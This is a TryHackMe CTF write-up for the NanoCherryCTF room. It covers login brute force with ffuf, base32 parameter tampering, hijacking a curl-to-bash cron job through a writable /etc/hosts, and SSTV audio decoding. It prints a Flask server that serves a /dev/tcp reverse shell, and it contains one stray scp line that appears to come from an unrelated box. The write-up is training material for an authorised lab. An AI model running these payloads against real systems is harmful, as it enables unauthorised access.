Skip to content

TryHackMe - NanoCherryCTF

Introduction


OS: Linux

URL: NanoCherryCTF

Level: Medium


Very CTF styled room a story with multiple horizontal privilege escalations and a unique challenge to get root.

Preface

Story from the room:

The Story:

The vigilante hacker and Vim enthusiast has enlisted you for help!

He's been tipped off that the enigmatic ice cream shop owner Chad Cherry and his creamy crew are up to something nefarious: they plan to use their totally legit business to rid the world of the greatest text editor, Vim, and replace it with their preferred editor Nano!

You'll need to hack into the ice cream shop and escalate your privileges to take them down!

Jex has already gained initial access and has created a backdoor account to help you out.

The Backdoor:

Jex has set up a backdoor account for you to use to get started.

Username: notsus

Password: dontbeascriptkiddie

We are also asked to add cherryontop.thm to our /etc/hosts file.

echo "$IP cherryontop.thm" | sudo tee -a /etc/hosts

Recon

Let's start with a nmap scan

┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ sudo nmap -sC -sV -oN nmap/initial $IP -v 

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 9e:e6:fd:19:23:a3:b1:40:77:1c:a4:c4:2f:e6:d3:4b (ECDSA)
|_  256 15:2b:23:73:3f:c8:8a:a3:b4:aa:1d:ae:70:d4:5f:ae (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Cherry on Top Ice Cream Shop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only two ports are open, SSH and HTTP.

We already have creds for user notsus so let's try to SSH into the machine.

┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ ssh notsus@$IP
[email protected]'s password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Mon Jan 15 21:29:58 2024 from 10.0.2.15

$ bash

notsus@nanocherryctf:~$ whoami
notsus

notsus@nanocherryctf:~$ cat /etc/passwd | grep sh$

root:x:0:0:root:/root:/bin/bash
chad-cherry:x:1000:1000:Chad Cherry:/home/chad-cherry:/bin/bash
molly-milk:x:1001:1001::/home/molly-milk:/bin/sh
sam-sprinkles:x:1002:1002::/home/sam-sprinkles:/bin/sh
bob-boba:x:1003:1003::/home/bob-boba:/bin/sh
notsus:x:1004:1004::/home/.notsus:/bin/sh

We have six total users including our user notsus and the root user.


Exploitation

Path to molly-milk

Unlike usual, we already have a shell session as a user, so instead of bruteforcing a subdomain / directory listing, we can just see if we can access the relevant config / directories.

notsus@nanocherryctf:~$ ls -la /var/www/
ls: cannot open directory '/var/www/': Permission denied

notsus@nanocherryctf:~$ ls -la /var/ | grep www
drwx------  5 www-data root  4096 Apr  8  2023 www

Only root / www-data can access the /var/www directory.

If we take a look at the cherryontop.thm website headers we see that it's running on Apache.

┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ curl -I cherryontop.thm

HTTP/1.1 200 OK
Date: Sun, 07 Jul 2024 02:10:54 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Type: text/html; charset=UTF-8

Let's try to get all the subdomains by checking the apache config.

notsus@nanocherryctf:~$ grep -iR ServerName /etc/apache2/sites-enabled/

/etc/apache2/sites-enabled/a.cherryontop.thm.conf:      # The ServerName directive sets the request scheme, hostname and port that
/etc/apache2/sites-enabled/a.cherryontop.thm.conf:      # redirection URLs. In the context of virtual hosts, the ServerName
/etc/apache2/sites-enabled/a.cherryontop.thm.conf:      #ServerName www.example.com
/etc/apache2/sites-enabled/a.cherryontop.thm.conf:      ServerName cherryontop.thm
/etc/apache2/sites-enabled/b.cherryontop.thm.conf:      # The ServerName directive sets the request scheme, hostname and port that
/etc/apache2/sites-enabled/b.cherryontop.thm.conf:      # redirection URLs. In the context of virtual hosts, the ServerName
/etc/apache2/sites-enabled/b.cherryontop.thm.conf:      #ServerName www.example.com
/etc/apache2/sites-enabled/b.cherryontop.thm.conf:      ServerName nano.cherryontop.thm
grep: /etc/apache2/sites-enabled/000-default.conf: No such file or directory

The only subdomain listed is nano.cherryontop.thm. Let's add it to our /etc/hosts file.

┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ echo "$IP nano.cherryontop.thm" | sudo tee -a /etc/hosts

Let's access the webpage.

nano_cherrytop_thm_homepage.png

We get a page with some questionable content.

Clicking through the links in the menu, we get to the Admin login.php page.

nano_cherrytop_thm_login.png

Trying to guess some usernames we get an error message 'This user doesn't exist'. The page isn't vulnerable to any SQL injection either.

But it's peculiar that it says the user doesn't exist instead of a generic error. Maybe we can use this message to enumerate the users.

using ffuf to bruteforce the usernames.

Let's first try to login and save the request using burp suite.

Let's now try to FUZZ both the username and password fields.

┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ ffuf -request login_request -w /opt/useful/SecLists/Usernames/top-usernames-shortlist.txt -mc all -request-proto http -fr "This user doesn't exist"   

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://nano.cherryontop.thm/login.php
 :: Wordlist         : FUZZ: /opt/useful/SecLists/Usernames/top-usernames-shortlist.txt
 :: Header           : Origin: http://nano.cherryontop.thm
 :: Header           : Referer: http://nano.cherryontop.thm/login.php
 :: Header           : Host: nano.cherryontop.thm
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
 :: Header           : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
 :: Header           : Accept-Language: en-US,en;q=0.5
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : Connection: close
 :: Header           : Upgrade-Insecure-Requests: 1
 :: Data             : username=FUZZ&password=admin&submit=
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Regexp: This user doesn't exist
________________________________________________

puppet                  [Status: 200, Size: 2370, Words: 733, Lines: 61, Duration: 170ms]
:: Progress: [17/17] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
┌──(nanocherryctf)(kali㉿kali)-[~/THM/nanocherryctf]
└─$ ffuf -request login_request -w /usr/share/wordlists/rockyou.txt -mc all -request-proto http -fr "Bad password"      

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://nano.cherryontop.thm/login.php
 :: Wordlist         : FUZZ: /usr/share/wordlists/rockyou.txt
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
 :: Header           : Origin: http://nano.cherryontop.thm
 :: Header           : Connection: close
 :: Header           : Referer: http://nano.cherryontop.thm/login.php
 :: Header           : Upgrade-Insecure-Requests: 1
 :: Header           : Host: nano.cherryontop.thm
 :: Header           : Accept-Language: en-US,en;q=0.5
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
 :: Data             : username=puppet&password=FUZZ&submit=
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Regexp: Bad password
________________________________________________

master                  [Status: 302, Size: 333, Words: 37, Lines: 12, Duration: 234ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

Using ffuf's regex filter we can easily find the usernames and passwords.

We can find the flag and molly-milk's password after logging in.

logged_in_page_with_flag_and_password.png

We can now SSH into the machine as molly-milk.

┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ ssh molly-milk@$IP
[email protected]'s password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Jan 15 21:40:22 2024
$ bash 

molly-milk@nanocherryctf:~$ whoami
molly-milk

molly-milk@nanocherryctf:~$ cat chads-key1.txt 
**REDACTED**

We also get the first part of chad-cherry's password.


Path to sam-sprinkles

sam_sprinkles_homepage.png

Taking a look at the main domain cherryontop.thm. Only Ice Cream Facts is linked to a different page.

ice_cream_facts.png

There are four facts listed. But only one user Guest.

Each fact corresponds to facts=1-4 in the url query parameter.

Let's try to brute force the facts query param from 0-1000 to see if we can access any facts that are not listed.

┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ ffuf -u "http://cherryontop.thm/content.php?facts=FUZZ&user=I52WK43U" -w <(seq 0 1000) -mc all -fr "Error"          

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cherryontop.thm/content.php?facts=FUZZ&user=I52WK43U
 :: Wordlist         : FUZZ: /proc/self/fd/11
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Regexp: Error
________________________________________________

20                      [Status: 200, Size: 2479, Words: 755, Lines: 63, Duration: 166ms]
43                      [Status: 200, Size: 2498, Words: 759, Lines: 63, Duration: 165ms]
50                      [Status: 200, Size: 2487, Words: 757, Lines: 63, Duration: 164ms]
64                      [Status: 200, Size: 2486, Words: 757, Lines: 63, Duration: 163ms]
1                       [Status: 200, Size: 2499, Words: 759, Lines: 63, Duration: 3664ms]
3                       [Status: 200, Size: 2514, Words: 762, Lines: 63, Duration: 4673ms]
4                       [Status: 200, Size: 2523, Words: 761, Lines: 63, Duration: 4688ms]
2                       [Status: 200, Size: 2519, Words: 762, Lines: 63, Duration: 4686ms]
:: Progress: [1001/1001] :: Job [1/1] :: 243 req/sec :: Duration: [0:00:07] :: Errors: 0 ::

We find four more facts. But they do not contain anything useful.

┌──(kali㉿kali)-[~/THM/nanocherryctf/data]
└─$ for i in {20,43,50,64}; do echo $i; curl -s "http://cherryontop.thm/content.php?facts=$i&user=I52WK43U" | grep '</form>' -A 2; echo -n '\n\n'; done
20
                </form>

                <b>Nope. Just Nope.</b>            </div>


43
                </form>

                <b>Nice try! You can't touch my stuff!</b>            </div>


50
                </form>

                <b>No secret notes for you!</b>            </div>


64
                </form>

                <b>No Easter eggs for you!</b>            </div>

We likely need to change the user to sam-sprinkles or some other valid user to get the data.

Guest value in the select box corresponds to the user I52WK43U in query parameter. Using the magic recipe from CyberChef we can identify how the Guest value is encoded.

cyberchef_magic_recipe.png

Now that we know that the username is being encoded in base32 let's try to query the facts with user sam-sprinkles.

┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ echo -n "sam-sprinkles" | base32
ONQW2LLTOBZGS3TLNRSXG===

┌──(kali㉿kali)-[~/THM/nanocherryctf/data]
└─$ for i in {20,43,50,64}; do echo $i; curl -s "http://cherryontop.thm/content.php?facts=$i&user=ONQW2LLTOBZGS3TLNRSXG===" | grep '</form>' -A 2; echo -n '\n\n'; done
20
                </form>

                <b>Nope. Just Nope.</b>            </div>


43
                </form>

                <b>My secret web hideout in case I forget my ssh credentials again<br>sam-sprinkles:**REDACTED**</b>            </div>


50
                </form>

                <b>No secret notes for you!</b>            </div>


64
                </form>

                <b>No Easter eggs for you!</b>            </div>

and we get the password for sam-sprinkles.

molly-milk@nanocherryctf:~$ su sam-sprinkles
Password:
sam-sprinkles@nanocherryctf:/home/molly-milk$ cd

sam-sprinkles@nanocherryctf:~$ whoami
sam-sprinkles

sam-sprinkles@nanocherryctf:~$ cat chads-key2.txt
**REDACTED**

We also get the second part of chad-cherry's password.


Path to bob-boba

Checking all the crontabs we can see that bob-boba has a cronjob running every minute.

sam-sprinkles@nanocherryctf:~$ cat /etc/crontab 

# /etc/crontab: system-wide crontab

[...SNIP...]

52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   bob-boba curl cherryontop.tld:8000/home/bob-boba/coinflip.sh | bash

Looks like bob-boba is trying to fetch a script from cherryontop.tld:8000 and execute it.

If we can take control of the domain by editing the /etc/hosts file we can get bob-boba to execute our script.

This is pretty much identical to what we have done in mKingdom room.

sam-sprinkles@nanocherryctf:~$ ls -la /etc/hosts
-rw-rw-rw- 1 root adm 312 Apr  8  2023 /etc/hosts

Looks like the permission on the /etc/hosts file was changed to 666 so we can edit it.

sam-sprinkles@nanocherryctf:~$ echo "YOUR_THM_VPN_IP cherryontop.tld" | tee -a /etc/hosts
YOUR_THM_VPN_IP cherryontop.tld


sam-sprinkles@nanocherryctf:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.0.1 cherryontop.com
127.0.0.1 cherryontop.thm
127.0.0.1 nano.cherryontop.thm
127.0.1.1 nanocherryctf


# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
YOUR_THM_VPN_IP cherryontop.tld

Now let us host a simple flask server to serve the coinflip.sh script with a reverse shell as the content.

exploit_server.py
from flask import Flask
app = Flask(__name__)

@app.route('/home/bob-boba/coinflip.sh')
def hello_world():
    return """#!/bin/bash
bash -c 'bash -i >& /dev/tcp/YOUR_THM_IP/9001 0>&1'
"""
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)
┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ python exploit_server.py
 * Serving Flask app 'exploit_flask'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:8000
 * Running on http://192.168.74.132:8000
Press CTRL+C to quit
10.10.93.51 - - [06/Jul/2024 23:58:02] "GET /home/bob-boba/coinflip.sh HTTP/1.1" 200 -
┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ nc -lvnp 9001     
listening on [any] 9001 ...
connect to [YOUR_THM_VPN_IP] from (UNKNOWN) [10.10.93.51] 43088
bash: cannot set terminal process group (2831): Inappropriate ioctl for device
bash: no job control in this shell

bob-boba@nanocherryctf:~$ whoami
whoami
bob-boba

bob-boba@nanocherryctf:~$ ls 
ls 
bobLog.txt
chads-key3.txt
coinflip.sh

bob-boba@nanocherryctf:~$ cat chads-key3.txt
cat chads-key3.txt
**REDACTED**

Finally, we get the third part of chad-cherry's password.


Path to root

Now that we have all the parts of chad-cherry's password we can SSH into the machine as chad-cherry.

sam-sprinkles@nanocherryctf:~$ su chad-cherry
Password:

chad-cherry@nanocherryctf:/home/bob-boba$ cd

chad-cherry@nanocherryctf:~$ ls -lah
total 3.3M
drwxr-x--- 5 chad-cherry chad-cherry 4.0K Jan  5  2024 .
drwxr-xr-x 7 root        root        4.0K Apr  1  2023 ..
[...SNIP...]
-rw-rw-r-- 1 chad-cherry chad-cherry 1.9K Jan  5  2024 Hello.txt
-rw-rw-r-- 1 chad-cherry chad-cherry   22 Nov 22  2023 chad-flag.txt
-rw-rw-r-- 1 chad-cherry chad-cherry 3.2M Jan  5  2024 rootPassword.wav


chad-cherry@nanocherryctf:~$ cat Hello.txt 
Hello there.

[...SNIP...]
You can find the password to the root account in the .wav file. Whomever you are, if you're a smart enough hacker, you'll figure it out.

Good luck and as that one guy keeps saying: don't be a script kiddie.

- Chad Cherry

So we have a .wav file which contains the password to the root account according to Hello.txt.

┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ scp -J localhost:3232 blazorized.nu_1055.dc1:/programdata/20240705122820_BloodHound.zip .

┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ scp [email protected]:/home/chad-cherry/rootPassword.wav .
[email protected]'s password: 
rootPassword.wav                                                                                                                                  100% 3248KB 825.1KB/s   00:03    

┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ file rootPassword.wav                                                                                                                                              
rootPassword.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 44100 Hz

┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ exiftool rootPassword.wav 
ExifTool Version Number         : 12.76
File Name                       : rootPassword.wav
Directory                       : .
File Size                       : 3.3 MB
File Modification Date/Time     : 2024:07:07 00:06:50-04:00
File Access Date/Time           : 2024:07:07 00:06:57-04:00
File Inode Change Date/Time     : 2024:07:07 00:06:50-04:00
File Permissions                : -rw-r--r--
File Type                       : WAV
File Type Extension             : wav
MIME Type                       : audio/x-wav
Encoding                        : Microsoft PCM
Num Channels                    : 1
Sample Rate                     : 44100
Avg Bytes Per Sec               : 88200
Bits Per Sample                 : 16
Duration                        : 0:00:38

It seems to be just a normal .wav file.

Listening to it sounds just like one of those dail up modem sounds.

Opening up the file in audacity and changing to spectrogram view. We see a peculiar pattern at the beginning which looks like binary data translated to analog audio.

rootPassword_spectogram.png

after searching for a while, I was getting nowhere.

Decided to search for wav to binary decoder and encountered a stackexchange post which also mentions an identical looking spectrogram start.

The answer mentions that the file likely might be SSTV (Slow Scan Television) and also links a cli tool we can use.

┌──(kali㉿kali)-[~/THM/nanocherryctf/data]
└─$ python -m venv sstv_venv   

┌──(kali㉿kali)-[~/THM/nanocherryctf/data]
└─$ . ./sstv_venv/bin/activate 

┌──(sstv_venv)(kali㉿kali)-[~/THM/nanocherryctf/data]
└─$ git clone https://github.com/colaclanth/sstv                                                                           
Cloning into 'sstv'...
remote: Enumerating objects: 221, done.
remote: Counting objects: 100% (59/59), done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 221 (delta 51), reused 49 (delta 49), pack-reused 162
Receiving objects: 100% (221/221), 1.01 MiB | 1.60 MiB/s, done.
Resolving deltas: 100% (139/139), done.

┌──(sstv_venv)(kali㉿kali)-[~/THM/nanocherryctf/data]
└─$ cd sstv                 

┌──(sstv_venv)(kali㉿kali)-[~/THM/nanocherryctf/data/sstv]
└─$ python setup.py install 
running install

[...SNIP...]

Installed /home/kali/THM/nanocherryctf/data/sstv_venv/lib/python3.11/site-packages/pycparser-2.22-py3.11.egg
Finished processing dependencies for sstv==0.1

┌──(sstv_venv)(kali㉿kali)-[~/THM/nanocherryctf/data/sstv]
└─$ sstv -d ../rootPassword.wav -o result.png 
[sstv] Searching for calibration header... Found!    
[sstv] Detected SSTV mode Robot 36
[sstv] Decoding image...     [###################]  99%
[sstv] Reached end of audio whilst decoding.
[sstv] Drawing image data...
[sstv] ...Done!

We get a result.png file which contains the password to the root account.

root_password_as_image.png

chad-cherry@nanocherryctf:~$ su root
Password: 

root@nanocherryctf:/home/chad-cherry# cd

root@nanocherryctf:~# whoami
root

root@nanocherryctf:~# cat root-flag.txt 
THM{**REDACTED**}

And we get the root flag.